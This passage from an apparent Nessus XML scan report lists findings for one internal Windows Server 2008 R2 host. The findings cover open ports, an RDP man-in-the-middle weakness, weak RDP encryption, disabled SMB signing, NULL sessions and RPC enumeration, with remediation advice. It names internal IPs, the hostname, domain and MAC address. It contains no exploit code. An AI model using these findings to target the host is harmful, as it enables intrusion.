9172 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="35716" pluginName="Ethernet Card Manufacturer Detection" pluginFamily="Misc.">
9173 <description>Each ethernet MAC address starts with a 24-bit &apos;Organizationally Unique Identifier&apos;.
9174 These OUI are registered by IEEE.</description>
9175 <fname>ethernet_manufacturer.nasl</fname>
9176 <plugin_modification_date>2011/03/27</plugin_modification_date>
9177 <plugin_name>Ethernet Card Manufacturer Detection</plugin_name>
9178 <plugin_publication_date>2009/02/19</plugin_publication_date>
9179 <plugin_type>combined</plugin_type>
9180 <risk_factor>None</risk_factor>
9181 <script_version>$Revision: 1.9 $</script_version>
9182 <see_also>http://standards.ieee.org/faqs/OUI.html
9183 http://standards.ieee.org/regauth/oui/index.shtml</see_also>
9184 <solution>n/a</solution>
9185 <synopsis>The manufacturer can be deduced from the Ethernet OUI.</synopsis>
9186 <plugin_output>
9187 The following card manufacturers were identified :
9188
9189 00:50:56:81:01:dc : VMware, Inc.
9190 </plugin_output>
9191 </ReportItem>
9192 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="20094" pluginName="VMware Virtual Machine Detection" pluginFamily="General">
9193 <description>According to the MAC address of its network adapter, the remote host is a VMware virtual machine.
9194
9195 Since it is physically accessible through the network, ensure that its configuration matches your organization&apos;s security policy.</description>
9196 <fname>vmware_detect.nasl</fname>
9197 <plugin_modification_date>2011/03/27</plugin_modification_date>
9198 <plugin_name>VMware Virtual Machine Detection</plugin_name>
9199 <plugin_publication_date>2005/10/27</plugin_publication_date>
9200 <plugin_type>combined</plugin_type>
9201 <risk_factor>None</risk_factor>
9202 <script_version>$Revision: 1.24 $</script_version>
9203 <solution>n/a</solution>
9204 <synopsis>The remote host seems to be a VMware virtual machine.</synopsis>
9205 </ReportItem>
9206 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="18405" pluginName="Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness" pluginFamily="Windows">
9207 <bid>13818</bid>
9208 <cve>CVE-2005-1794</cve>
9209 <cvss_base_score>5.1</cvss_base_score>
9210 <cvss_temporal_score>4.6</cvss_temporal_score>
9211 <cvss_temporal_vector>CVSS2#E:F/RL:W/RC:ND</cvss_temporal_vector>
9212 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P</cvss_vector>
9213 <description>The remote version of the Remote Desktop Protocol Server (Terminal Service) is vulnerable to a man-in-the-middle (MiTM) attack. The RDP client makes no effort to validate the identity of the server when setting up encryption. An attacker with the ability to intercept traffic from the RDP server can establish encryption with the client and server without being detected. A MiTM attack of this nature would allow the attacker to obtain any sensitive information transmitted, including authentication credentials.
9214
9215 This flaw exists because the RDP server stores a hardcoded RSA private key in the mstlsapi.dll library. Any local user with access to this file (on any Windows system) can retrieve the key and use it for this attack.</description>
9216 <exploit_available>true</exploit_available>
9217 <exploitability_ease>Exploits are available</exploitability_ease>
9218 <fname>tssvc_mim.nasl</fname>
9219 <osvdb>17131</osvdb>
9220 <plugin_modification_date>2012/03/30</plugin_modification_date>
9221 <plugin_name>Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness</plugin_name>
9222 <plugin_publication_date>2005/06/01</plugin_publication_date>
9223 <plugin_type>remote</plugin_type>
9224 <risk_factor>Medium</risk_factor>
9225 <script_version>$Revision: 1.23 $</script_version>
9226 <see_also>http://www.oxid.it/downloads/rdp-gbu.pdf
9227 http://www.nessus.org/u?e2628096
9228 http://technet.microsoft.com/en-us/library/cc782610.aspx</see_also>
9229 <solution>- Force the use of SSL as a transport layer for this service if supported, or/and
9230 - Select the &apos;Allow connections only from computers running Remote Desktop with Network Level Authentication&apos; setting if it is available.</solution>
9231 <synopsis>It may be possible to get access to the remote host.</synopsis>
9232 <vuln_publication_date>2005/05/28</vuln_publication_date>
9233 <xref>OSVDB:17131</xref>
9234 </ReportItem>
9235 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="66173" pluginName="RDP Screenshot" pluginFamily="General">
9236 <cpe>cpe:/o:microsoft:windows</cpe>
9237 <description>This script attempts to connect to the remote host via RDP (Remote Desktop Protocol) and attempts to take a screenshot of the login screen.
9238
9239 While this is not a vulnerability by itself, some versions of Windows display the names of the users who can connect and which ones are connected already.</description>
9240 <fname>rdp_logon_screen.nbin</fname>
9241 <plugin_modification_date>2013/05/08</plugin_modification_date>
9242 <plugin_name>RDP Screenshot</plugin_name>
9243 <plugin_publication_date>2013/04/22</plugin_publication_date>
9244 <plugin_type>remote</plugin_type>
9245 <risk_factor>None</risk_factor>
9246 <script_version>$Revision: 1.4 $</script_version>
9247 <solution>n/a</solution>
9248 <synopsis>It is possible to take a screenshot of the remote login screen.</synopsis>
9249 <plugin_output>It was possible to gather the following screenshot of the remote login screen.</plugin_output>
9250 <attachment name="ts_screenshot.jpg" type="image/bmp">293713fa5c0d44310392df3bf9c784a3</attachment>
9251 </ReportItem>
9252 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="57690" pluginName="Terminal Services Encryption Level is Medium or Low" pluginFamily="Misc.">
9253 <cvss_base_score>4.3</cvss_base_score>
9254 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
9255 <description>The remote Terminal Services service is not configured to use strong cryptography.
9256
9257 Using weak cryptography with this service may allow an attacker to eavesdrop on the communications more easily and obtain screenshots and/or keystrokes.</description>
9258 <fname>rdp_weak_crypto.nbin</fname>
9259 <plugin_modification_date>2013/04/22</plugin_modification_date>
9260 <plugin_name>Terminal Services Encryption Level is Medium or Low</plugin_name>
9261 <plugin_publication_date>2012/01/25</plugin_publication_date>
9262 <plugin_type>remote</plugin_type>
9263 <risk_factor>Medium</risk_factor>
9264 <script_version>$Revision: 1.6 $</script_version>
9265 <solution>Change RDP encryption level to one of :
9266
9267 3. High
9268
9269 4. FIPS Compliant</solution>
9270 <synopsis>The remote host is using weak cryptography.</synopsis>
9271 <plugin_output>
9272 The terminal services encryption level is set to :
9273
9274 2. Medium</plugin_output>
9275 </ReportItem>
9276 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="1" pluginID="30218" pluginName="Terminal Services Encryption Level is not FIPS-140 Compliant" pluginFamily="Misc.">
9277 <cvss_base_score>2.6</cvss_base_score>
9278 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N</cvss_vector>
9279 <description>The encryption setting used by the remote Terminal Services service is not FIPS-140 compliant.</description>
9280 <fname>fips_rdp.nbin</fname>
9281 <plugin_modification_date>2013/04/22</plugin_modification_date>
9282 <plugin_name>Terminal Services Encryption Level is not FIPS-140 Compliant</plugin_name>
9283 <plugin_publication_date>2008/02/11</plugin_publication_date>
9284 <plugin_type>remote</plugin_type>
9285 <risk_factor>Low</risk_factor>
9286 <script_version>$Revision: 1.9 $</script_version>
9287 <solution>Change RDP encryption level to :
9288
9289 4. FIPS Compliant</solution>
9290 <synopsis>The remote host is not FIPS-140 compliant.</synopsis>
9291 <plugin_output>
9292 The terminal services encryption level is set to :
9293
9294 2. Medium (Client Compatible)</plugin_output>
9295 </ReportItem>
9296 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="10940" pluginName="Windows Terminal Services Enabled" pluginFamily="Windows">
9297 <description>Terminal Services allows a Windows user to remotely obtain a graphical login (and therefore act as a local user on the remote host).
9298
9299 If an attacker gains a valid login and password, he may be able to use this service to gain further access on the remote host. An attacker may also use this service to mount a dictionary attack against the remote host to try to log in remotely.
9300
9301 Note that RDP (the Remote Desktop Protocol) is vulnerable to Man-in-the-middle attacks, making it easy for attackers to steal the credentials of legitimate users by impersonating the Windows server.</description>
9302 <fname>windows_terminal_services.nasl</fname>
9303 <plugin_modification_date>2012/03/30</plugin_modification_date>
9304 <plugin_name>Windows Terminal Services Enabled</plugin_name>
9305 <plugin_publication_date>2002/04/20</plugin_publication_date>
9306 <plugin_type>remote</plugin_type>
9307 <risk_factor>None</risk_factor>
9308 <script_version>$Revision: 1.29 $</script_version>
9309 <solution>Disable Terminal Services if you do not use it, and do not allow this service to run across the Internet.</solution>
9310 <synopsis>The remote Windows host has Terminal Services enabled.</synopsis>
9311 </ReportItem>
9312 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="24260" pluginName="HyperText Transfer Protocol (HTTP) Information" pluginFamily="Web Servers">
9313 <description>This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...
9314
9315 This test is informational only and does not denote any security problem.</description>
9316 <fname>http_info.nasl</fname>
9317 <plugin_modification_date>2011/05/31</plugin_modification_date>
9318 <plugin_name>HyperText Transfer Protocol (HTTP) Information</plugin_name>
9319 <plugin_publication_date>2007/01/30</plugin_publication_date>
9320 <plugin_type>remote</plugin_type>
9321 <risk_factor>None</risk_factor>
9322 <script_version>$Revision: 1.12 $</script_version>
9323 <solution>n/a</solution>
9324 <synopsis>Some information about the remote HTTP configuration can be extracted.</synopsis>
9325 <plugin_output>
9326 Protocol version : HTTP/1.1
9327 SSL : no
9328 Keep-Alive : no
9329 Options allowed : OPTIONS, TRACE, GET, HEAD, POST
9330 Headers :
9331
9332 Content-Type: text/html
9333 Last-Modified: Tue, 01 May 2012 20:47:11 GMT
9334 Accept-Ranges: bytes
9335 ETag: &quot;ca7a095db27cd1:0&quot;
9336 Server: Microsoft-IIS/7.5
9337 X-Powered-By: ASP.NET
9338 Date: Mon, 01 Jul 2013 18:37:27 GMT
9339 Content-Length: 689
9340
9341 </plugin_output>
9342 </ReportItem>
9343 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="10107" pluginName="HTTP Server Type and Version" pluginFamily="Web Servers">
9344 <description>This plugin attempts to determine the type and the version of the remote web server.</description>
9345 <fname>http_version.nasl</fname>
9346 <plugin_modification_date>2013/06/03</plugin_modification_date>
9347 <plugin_name>HTTP Server Type and Version</plugin_name>
9348 <plugin_publication_date>2000/01/04</plugin_publication_date>
9349 <plugin_type>remote</plugin_type>
9350 <risk_factor>None</risk_factor>
9351 <script_version>$Revision: 1.111 $</script_version>
9352 <solution>n/a</solution>
9353 <synopsis>A web server is running on the remote host.</synopsis>
9354 <plugin_output>The remote web server type is :
9355
9356 Microsoft-IIS/7.5</plugin_output>
9357 </ReportItem>
9358 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="43111" pluginName="HTTP Methods Allowed (per directory)" pluginFamily="Web Servers">
9359 <description>By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.
9360
9361 As this list may be incomplete, the plugin also tests - if &apos;Thorough tests&apos; are enabled or &apos;Enable web applications tests&apos; is set to &apos;yes&apos; in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.
9362
9363 Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.</description>
9364 <fname>web_directory_options.nasl</fname>
9365 <plugin_modification_date>2013/05/09</plugin_modification_date>
9366 <plugin_name>HTTP Methods Allowed (per directory)</plugin_name>
9367 <plugin_publication_date>2009/12/10</plugin_publication_date>
9368 <plugin_type>remote</plugin_type>
9369 <risk_factor>None</risk_factor>
9370 <script_version>$Revision: 1.7 $</script_version>
9371 <solution>n/a</solution>
9372 <synopsis>This plugin determines which HTTP methods are allowed on various CGI directories.</synopsis>
9373 <plugin_output>Based on the response to an OPTIONS request :
9374
9375 - HTTP methods GET HEAD POST TRACE OPTIONS are allowed on :
9376
9377 /
9378
9379 </plugin_output>
9380 </ReportItem>
9381 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="2" pluginID="57608" pluginName="SMB Signing Disabled" pluginFamily="Misc.">
9382 <cpe>cpe:/o:microsoft:windows</cpe>
9383 <cvss_base_score>5.0</cvss_base_score>
9384 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N</cvss_vector>
9385 <description>Signing is disabled on the remote SMB server. This can allow man-in-the-middle attacks against the SMB server.</description>
9386 <fname>smb_signing_disabled.nasl</fname>
9387 <plugin_modification_date>2012/03/05</plugin_modification_date>
9388 <plugin_name>SMB Signing Disabled</plugin_name>
9389 <plugin_publication_date>2012/01/19</plugin_publication_date>
9390 <plugin_type>remote</plugin_type>
9391 <risk_factor>Medium</risk_factor>
9392 <script_version>$Revision: 1.7 $</script_version>
9393 <see_also>http://support.microsoft.com/kb/887429
9394 http://www.nessus.org/u?74b80723
9395 http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html</see_also>
9396 <solution>Enforce message signing in the host&apos;s configuration. On Windows, this is found in the Local Security Policy. On Samba, the setting is called &apos;server signing&apos;. See the &apos;see also&apos; links for further details.</solution>
9397 <synopsis>Signing is disabled on the remote SMB server.</synopsis>
9398 <vuln_publication_date>2012/01/17</vuln_publication_date>
9399 </ReportItem>
9400 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11422" pluginName="Web Server Unconfigured - Default Install Page Present" pluginFamily="Web Servers">
9401 <description>The remote web server uses its default welcome page. It probably means that this server is not used at all or is serving content that is meant to be hidden.</description>
9402 <fname>www_default_page.nasl</fname>
9403 <osvdb>2117</osvdb>
9404 <plugin_modification_date>2011/08/12</plugin_modification_date>
9405 <plugin_name>Web Server Unconfigured - Default Install Page Present</plugin_name>
9406 <plugin_publication_date>2003/03/20</plugin_publication_date>
9407 <plugin_type>remote</plugin_type>
9408 <risk_factor>None</risk_factor>
9409 <script_version>$Revision: 1.37 $</script_version>
9410 <solution>Disable this service if you do not use it.</solution>
9411 <synopsis>The remote web server is not configured or is not properly configured.</synopsis>
9412 <vuln_publication_date>1994/01/01</vuln_publication_date>
9413 <xref>OSVDB:2117</xref>
9414 <plugin_output>
9415 The default welcome page is from IIS.
9416 </plugin_output>
9417 </ReportItem>
9418 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="22964" pluginName="Service Detection" pluginFamily="Service detection">
9419 <description>It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.</description>
9420 <fname>find_service.nasl</fname>
9421 <plugin_modification_date>2013/05/12</plugin_modification_date>
9422 <plugin_name>Service Detection</plugin_name>
9423 <plugin_publication_date>2007/08/19</plugin_publication_date>
9424 <plugin_type>remote</plugin_type>
9425 <risk_factor>None</risk_factor>
9426 <script_version>$Revision: 1.123 $</script_version>
9427 <solution>n/a</solution>
9428 <synopsis>The remote service could be identified.</synopsis>
9429 <plugin_output>A web server is running on this port.</plugin_output>
9430 </ReportItem>
9431 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="46215" pluginName="Inconsistent Hostname and IP Address" pluginFamily="Settings">
9432 <description>The name of this machine either does not resolve or resolves to a different IP address.
9433
9434 This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host.
9435
9436 As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete.</description>
9437 <fname>bad_rdns.nasl</fname>
9438 <plugin_modification_date>2011/10/06</plugin_modification_date>
9439 <plugin_name>Inconsistent Hostname and IP Address</plugin_name>
9440 <plugin_publication_date>2010/05/03</plugin_publication_date>
9441 <plugin_type>remote</plugin_type>
9442 <risk_factor>None</risk_factor>
9443 <script_version>1.6</script_version>
9444 <solution>Fix the reverse DNS or host file.</solution>
9445 <synopsis>The remote host&apos;s hostname is not consistent with DNS information.</synopsis>
9446 <plugin_output>The host name &apos;qa3app03&apos; does not resolve to an IP address</plugin_output>
9447 </ReportItem>
9448 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="12053" pluginName="Host Fully Qualified Domain Name (FQDN) Resolution" pluginFamily="General">
9449 <description>Nessus was able to resolve the FQDN of the remote host.</description>
9450 <fname>fqdn.nasl</fname>
9451 <plugin_modification_date>2012/09/28</plugin_modification_date>
9452 <plugin_name>Host Fully Qualified Domain Name (FQDN) Resolution</plugin_name>
9453 <plugin_publication_date>2004/02/11</plugin_publication_date>
9454 <plugin_type>remote</plugin_type>
9455 <risk_factor>None</risk_factor>
9456 <script_version>$Revision: 1.12 $</script_version>
9457 <solution>n/a</solution>
9458 <synopsis>It was possible to resolve the name of the remote host.</synopsis>
9459 <plugin_output>
9460 10.31.112.23 resolves as qa3app03.
9461 </plugin_output>
9462 </ReportItem>
9463 <ReportItem port="0" svc_name="general" protocol="udp" severity="0" pluginID="10287" pluginName="Traceroute Information" pluginFamily="General">
9464 <description>Makes a traceroute to the remote host.</description>
9465 <fname>traceroute.nasl</fname>
9466 <plugin_modification_date>2013/04/11</plugin_modification_date>
9467 <plugin_name>Traceroute Information</plugin_name>
9468 <plugin_publication_date>1999/11/27</plugin_publication_date>
9469 <plugin_type>remote</plugin_type>
9470 <risk_factor>None</risk_factor>
9471 <script_version>1.62</script_version>
9472 <solution>n/a</solution>
9473 <synopsis>It was possible to obtain traceroute information.</synopsis>
9474 <plugin_output>For your information, here is the traceroute from 172.16.138.174 to 10.31.112.23 :
9475 172.16.138.174
9476 172.16.138.2
9477 10.31.112.23
9478 </plugin_output>
9479 </ReportItem>
9480 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="24786" pluginName="Nessus Windows Scan Not Performed with Admin Privileges" pluginFamily="Settings">
9481 <cpe>cpe:/o:microsoft:windows</cpe>
9482 <description>The Nessus scanner testing the remote host has been given SMB credentials to log into the remote host, however these credentials do not have administrative privileges.
9483
9484 Typically, when Nessus performs a patch audit, it logs into the remote host and reads the version of the DLLs on the remote host to determine if a given patch has been applied or not. This is the method Microsoft recommends to determine if a patch has been applied.
9485
9486 If your Nessus scanner does not have administrative privileges when doing a scan, then Nessus has to fall back to perform a patch audit through the registry which may lead to false positives (especially when using third-party patch auditing tools) or to false negatives (not all patches can be detected through the registry).</description>
9487 <fname>smb_scan_not_admin.nasl</fname>
9488 <plugin_modification_date>2013/01/07</plugin_modification_date>
9489 <plugin_name>Nessus Windows Scan Not Performed with Admin Privileges</plugin_name>
9490 <plugin_publication_date>2007/03/12</plugin_publication_date>
9491 <plugin_type>local</plugin_type>
9492 <risk_factor>None</risk_factor>
9493 <script_version>$Revision: 1.11 $</script_version>
9494 <solution>Reconfigure your scanner to use credentials with administrative privileges.</solution>
9495 <synopsis>The Nessus scan of this host may be incomplete due to insufficient privileges provided.</synopsis>
9496 <plugin_output>
9497 It was not possible to connect to &apos;\\QA3APP03\ADMIN$&apos; with the supplied credentials.
9498 </plugin_output>
9499 </ReportItem>
9500 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="26917" pluginName="Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry" pluginFamily="Windows">
9501 <description>It was not possible to connect to PIPE\winreg on the remote host.
9502
9503 If you intend to use Nessus to perform registry-based checks, the registry checks will not work because the &apos;Remote Registry Access&apos; service (winreg) has been disabled on the remote host or can not be connected to with the supplied credentials.</description>
9504 <fname>smb_registry_fail.nasl</fname>
9505 <plugin_modification_date>2011/03/27</plugin_modification_date>
9506 <plugin_name>Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry</plugin_name>
9507 <plugin_publication_date>2007/10/04</plugin_publication_date>
9508 <plugin_type>local</plugin_type>
9509 <risk_factor>None</risk_factor>
9510 <script_version>$Revision: 1.10 $</script_version>
9511 <solution>n/a</solution>
9512 <synopsis>Nessus is not able to access the remote Windows Registry.</synopsis>
9513 <plugin_output>Could not connect to the registry because:
9514 Could not connect to \winreg</plugin_output>
9515 </ReportItem>
9516 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
9517 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
9518 It shall be reasonably quick even against a firewalled target.
9519
9520 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
9521 <fname>nessus_syn_scanner.nbin</fname>
9522 <plugin_modification_date>2011/04/05</plugin_modification_date>
9523 <plugin_name>Nessus SYN scanner</plugin_name>
9524 <plugin_type>remote</plugin_type>
9525 <risk_factor>None</risk_factor>
9526 <script_version>$Revision: 1.14 $</script_version>
9527 <solution>Protect your target with an IP filter.</solution>
9528 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
9529 <plugin_output>Port 3389/tcp was found to be open</plugin_output>
9530 </ReportItem>
9531 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
9532 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
9533 It shall be reasonably quick even against a firewalled target.
9534
9535 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
9536 <fname>nessus_syn_scanner.nbin</fname>
9537 <plugin_modification_date>2011/04/05</plugin_modification_date>
9538 <plugin_name>Nessus SYN scanner</plugin_name>
9539 <plugin_type>remote</plugin_type>
9540 <risk_factor>None</risk_factor>
9541 <script_version>$Revision: 1.14 $</script_version>
9542 <solution>Protect your target with an IP filter.</solution>
9543 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
9544 <plugin_output>Port 445/tcp was found to be open</plugin_output>
9545 </ReportItem>
9546 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
9547 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
9548 It shall be reasonably quick even against a firewalled target.
9549
9550 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
9551 <fname>nessus_syn_scanner.nbin</fname>
9552 <plugin_modification_date>2011/04/05</plugin_modification_date>
9553 <plugin_name>Nessus SYN scanner</plugin_name>
9554 <plugin_type>remote</plugin_type>
9555 <risk_factor>None</risk_factor>
9556 <script_version>$Revision: 1.14 $</script_version>
9557 <solution>Protect your target with an IP filter.</solution>
9558 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
9559 <plugin_output>Port 80/tcp was found to be open</plugin_output>
9560 </ReportItem>
9561 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
9562 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
9563 It shall be reasonably quick even against a firewalled target.
9564
9565 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
9566 <fname>nessus_syn_scanner.nbin</fname>
9567 <plugin_modification_date>2011/04/05</plugin_modification_date>
9568 <plugin_name>Nessus SYN scanner</plugin_name>
9569 <plugin_type>remote</plugin_type>
9570 <risk_factor>None</risk_factor>
9571 <script_version>$Revision: 1.14 $</script_version>
9572 <solution>Protect your target with an IP filter.</solution>
9573 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
9574 <plugin_output>Port 135/tcp was found to be open</plugin_output>
9575 </ReportItem>
9576 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
9577 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
9578 It shall be reasonably quick even against a firewalled target.
9579
9580 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
9581 <fname>nessus_syn_scanner.nbin</fname>
9582 <plugin_modification_date>2011/04/05</plugin_modification_date>
9583 <plugin_name>Nessus SYN scanner</plugin_name>
9584 <plugin_type>remote</plugin_type>
9585 <risk_factor>None</risk_factor>
9586 <script_version>$Revision: 1.14 $</script_version>
9587 <solution>Protect your target with an IP filter.</solution>
9588 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
9589 <plugin_output>Port 139/tcp was found to be open</plugin_output>
9590 </ReportItem>
9591 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10394" pluginName="Microsoft Windows SMB Log In Possible" pluginFamily="Windows">
9592 <description>The remote host is running Microsoft Windows operating system or Samba, a CIFS/SMB server for Unix. It was possible to log into it using one of the following accounts :
9593
9594 - NULL session
9595 - Guest account
9596 - Given Credentials</description>
9597 <exploit_available>true</exploit_available>
9598 <exploit_framework_metasploit>true</exploit_framework_metasploit>
9599 <exploitability_ease>Exploits are available</exploitability_ease>
9600 <fname>smb_login.nasl</fname>
9601 <metasploit_name>Microsoft Windows Authenticated User Code Execution</metasploit_name>
9602 <plugin_modification_date>2013/04/23</plugin_modification_date>
9603 <plugin_name>Microsoft Windows SMB Log In Possible</plugin_name>
9604 <plugin_publication_date>2000/05/09</plugin_publication_date>
9605 <plugin_type>remote</plugin_type>
9606 <risk_factor>None</risk_factor>
9607 <script_version>$Revision: 1.136 $</script_version>
9608 <see_also>http://support.microsoft.com/kb/143474
9609 http://support.microsoft.com/kb/246261</see_also>
9610 <solution>n/a</solution>
9611 <synopsis>It is possible to log into the remote host.</synopsis>
9612 <vuln_publication_date>1999/01/01</vuln_publication_date>
9613 <plugin_output>- NULL sessions are enabled on the remote host
9614 </plugin_output>
9615 </ReportItem>
9616 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10785" pluginName="Microsoft Windows SMB NativeLanManager Remote System Information Disclosure" pluginFamily="Windows">
9617 <description>It is possible to get the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445.</description>
9618 <fname>smb_nativelanman.nasl</fname>
9619 <plugin_modification_date>2013/06/25</plugin_modification_date>
9620 <plugin_name>Microsoft Windows SMB NativeLanManager Remote System Information Disclosure</plugin_name>
9621 <plugin_publication_date>2001/10/17</plugin_publication_date>
9622 <plugin_type>remote</plugin_type>
9623 <risk_factor>None</risk_factor>
9624 <script_version>$Revision: 1.40 $</script_version>
9625 <solution>n/a</solution>
9626 <synopsis>It is possible to obtain information about the remote operating system.</synopsis>
9627 <plugin_output>The remote Operating System is : Windows Server 2008 R2 Standard 7601 Service Pack 1
9628 The remote native lan manager is : Windows Server 2008 R2 Standard 6.1
9629 The remote SMB Domain Name is : RB
9630 </plugin_output>
9631 </ReportItem>
9632 <ReportItem port="137" svc_name="netbios-ns" protocol="udp" severity="0" pluginID="10150" pluginName="Windows NetBIOS / SMB Remote Host Information Disclosure" pluginFamily="Windows">
9633 <description>The remote host listens on UDP port 137 or TCP port 445 and replies to NetBIOS nbtscan or SMB requests.
9634
9635 Note that this plugin gathers information to be used in other plugins but does not itself generate a report.</description>
9636 <fname>netbios_name_get.nasl</fname>
9637 <plugin_modification_date>2013/01/16</plugin_modification_date>
9638 <plugin_name>Windows NetBIOS / SMB Remote Host Information Disclosure</plugin_name>
9639 <plugin_publication_date>1999/10/12</plugin_publication_date>
9640 <plugin_type>remote</plugin_type>
9641 <risk_factor>None</risk_factor>
9642 <script_version>$Revision: 1.77 $</script_version>
9643 <solution>n/a</solution>
9644 <synopsis>It is possible to obtain the network name of the remote host.</synopsis>
9645 <plugin_output>The following 3 NetBIOS names have been gathered :
9646
9647 QA3APP03 = Computer name
9648 RB = Workgroup / Domain name
9649 QA3APP03 = File Server Service
9650
9651 The remote host has the following MAC address on its adapter :
9652
9653 00:50:56:81:01:dc</plugin_output>
9654 </ReportItem>
9655 <ReportItem port="49152" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
9656 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
9657 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
9658 <fname>dcetest.nasl</fname>
9659 <plugin_modification_date>2012/01/31</plugin_modification_date>
9660 <plugin_name>DCE Services Enumeration</plugin_name>
9661 <plugin_publication_date>2001/08/26</plugin_publication_date>
9662 <plugin_type>local</plugin_type>
9663 <risk_factor>None</risk_factor>
9664 <script_version>$Revision: 1.50 $</script_version>
9665 <solution>n/a</solution>
9666 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
9667 <plugin_output>
9668 The following DCERPC services are available on TCP port 49152 :
9669
9670 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
9671 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
9672 Description : Unknown RPC service
9673 Type : Remote RPC service
9674 TCP Port : 49152
9675 IP : 10.31.112.23
9676
9677 </plugin_output>
9678 </ReportItem>
9679 <ReportItem port="49153" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
9680 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
9681 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
9682 <fname>dcetest.nasl</fname>
9683 <plugin_modification_date>2012/01/31</plugin_modification_date>
9684 <plugin_name>DCE Services Enumeration</plugin_name>
9685 <plugin_publication_date>2001/08/26</plugin_publication_date>
9686 <plugin_type>local</plugin_type>
9687 <risk_factor>None</risk_factor>
9688 <script_version>$Revision: 1.50 $</script_version>
9689 <solution>n/a</solution>
9690 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
9691 <plugin_output>
9692 The following DCERPC services are available on TCP port 49153 :
9693
9694 Object UUID : 00000000-0000-0000-0000-000000000000
9695 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
9696 Description : DHCP Client Service
9697 Windows process : svchost.exe
9698 Annotation : DHCP Client LRPC Endpoint
